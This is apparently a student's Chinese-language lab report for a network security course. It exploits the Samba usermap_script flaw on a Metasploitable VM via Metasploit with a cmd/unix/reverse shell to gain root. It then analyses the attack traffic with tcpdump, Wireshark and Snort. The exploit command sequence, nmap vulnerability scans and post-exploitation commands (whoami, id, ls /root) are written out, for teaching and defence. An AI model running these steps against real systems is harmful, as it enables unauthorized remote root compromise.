20253915 2025-2026-2 《网络攻防实践》实践七报告
1.实践内容
1.1 Linux Samba 服务 Usermap_script 漏洞渗透与攻防对抗实践
Samba 是 Linux/UNIX 系统中实现Windows 与 Linux 文件 / 打印机共享的核心服务,默认开放139、445 端口;Usermap_script是 Samba 3.0.20~3.0.25rc3 版本的高危远程代码执行漏洞,攻击者无需身份验证,即可通过构造恶意请求直接获取目标服务器root 最高权限,是网络安全入门最经典的 Linux 渗透实验之一。
该漏洞源于 Samba 的username map script配置项未对用户输入做安全过滤,攻击者可在用户名参数中嵌入系统命令,Samba 服务解析时会直接执行该命令,实现无授权远程代码执行,瞬间接管服务器。
1.2 攻防对抗:流量监听与分析知识点
tcpdump(命令行抓包工具)
- 作用:在靶机实时抓取网络数据包,保存为.pcap格式。
- 关键参数:-i指定网卡、host过滤 IP、-w保存文件。
Wireshark(图形化流量分析工具) - 打开 pcap 文件,用tcp.port ==4444过滤反向 Shell 流量。
- 追踪 TCP 流:查看攻击全过程,提取攻击 IP、靶机 IP、端口、攻击时间、执行的命令。
Snort(入侵检测工具)
匹配恶意流量特征,自动告警 Samba 漏洞攻击、反向 Shell 行为。
可溯源信息
攻击者 IP、目标 IP / 端口、攻击发起时间、利用漏洞、Payload 类型、Shell 执行指令。
1.3 Shell 载荷(Payload)核心知识
1.远程 Shell
攻击成功后获得的靶机命令行控制权,可直接执行 Linux 系统命令。
2.正向 Shell vs 反向 Shell
正向 Shell:靶机开放端口,攻击机主动连接(易被防火墙拦截)。
反向 Shell:靶机主动连接攻击机的监听端口(实验用cmd/unix/reverse,穿透性更强,是渗透最常用类型)。
3.实验载荷作用
触发靶机主动回连攻击机 4444 端口,建立双向命令通道。
2.实践过程
2.1 使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
启动Metasploit软件,终端打开msfconsole

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
use exploit/multi/samba/usermap_script使用该模块进行攻击,输入show payloads查看漏洞的载荷

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
输入set payload cmd/unix/reverse设置双向连接载荷,输入show options显示需要设置的参数

④设置渗透攻击参数(RHOST,LHOST,TARGET等);
输入set RHOST 192.168.200.4设置靶机的地址,输入set LHOST 192.168.200.3设置攻击机地址,
靶机地址:192.168.200.4
| 虚拟机 | IP地址 |
|---|---|
| 攻击机P | 192.168.200.3 |
| 靶机IP | 192.168.200.4 |


⑤执行渗透攻击;
输入run执行渗透攻击

⑥查看是否正确得到远程Shell,并查看获得的权限。
输入ifconfig得出靶机IP地址,表示攻击成功,输入whoami查询当前用户权限为root

2.2 实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
| 虚拟机 | IP地址 |
|---|---|
| 攻击方 | 192.168.200.3 |
| 防守方 | 192.168.200.4 |
2.2.1攻击方:
(1)使用nmap -sV 192.168.200.123 扫描目标主机的开放端口与版本号等信息

(2)使用nmap --script vuln 192.168.200.4扫描目标主机存在的漏洞

(3)攻击采用的渗透模块仍然是第一个实验中使用的模块

2.2.2 防守方抓包结果如图所示:
① 利用sudo tcpdump -i eth0 host 192.168.200.3 and host 192.168.200.4 -w attack.pcap开始抓包攻击机输入ifconfig等操作生成pcap文件,在操作结束后按 Ctrl + C 结束抓包,当前目录生成 attack.pcap,然后将 pcap 拷出用 Wireshark 打开
- 首先在 Metasploitable 靶机终端执行:
cd /home/msfadmin
python -m SimpleHTTPServer 8000
![image]()
- 其次在 Kali 攻击机浏览器访问: http://192.168.200.4:8000 ,找到 attack.pcap 右键「另存为」到本地
![image]()
② 下载完成后,在靶机终端按 Ctrl+C 停止 HTTP 服务,用 Wireshark 打开下载的文件即可。 - 攻击时抓包结果如图所示:
![image]()
- 获得攻击者的IP为192.168.200.3,目标IP为192.168.200.4,端口为59825
![image]()
- 时间:
![image]()
- Metasploit cmd/unix/reverse 反向 Shell Payload
分析依据:
Wireshark 抓包的 TCP 流(tcp.stream eq 7,端口 4444)中,可见 Payload 的标准交互:攻击机发送随机字符串(如ConQn7jczyGflQqhMGj),靶机sh返回错误,随后通过echo命令验证 Shell 连通性。
该 Payload 的核心作用:触发靶机执行命令,主动回连攻击机 4444 端口,建立远程命令行 Shell,获取系统控制权。
Snort 告警匹配到反向 Shell 的异常流量特征,识别该 Payload 的恶意行为。
![image]()
- 攻击成功后,在反向 Shell 中执行了以下命令:
- ifconfig:查看靶机网络配置
- whoami:确认当前用户权限
- id:验证 root 权限(UID=0 为 Linux 系统最高权限标识)
- ls /root:查看 /root 目录下的敏感文件
![image]()
![image]()
3.学习中遇到的问题及解决
- 问题1:执行use exploit/multi/samba/usermap_script提示模块不存在,或设置 Payload 后show options无参数显示
- 问题1解决方案:更新 Metasploit 框架,确认模块路径正确;重新加载模块,严格按set payload cmd/unix/reverse配置反向 Shell 载荷
- 问题2:run执行攻击后无会话建立,提示连接超时
- 问题2解决方案:核对RHOST(靶机 IP)、LHOST(攻击机 IP) 切勿填反,检查 LPORT 4444 端口未被占用,通过show options确认所有必填参数已配置。
4.实践总结
本次实验借助Metasploit完成对Linux靶机Samba服务Usermap_script漏洞的远程渗透攻击,结合Nmap端口与漏洞扫描、Tcpdump抓包及Wireshark流量分析开展攻防对抗实践,熟练掌握了渗透测试全流程操作与网络攻击流量分析方法,深刻认识到老旧服务漏洞的安全风险与系统安全防护的重要性。








浙公网安备 33010602011771号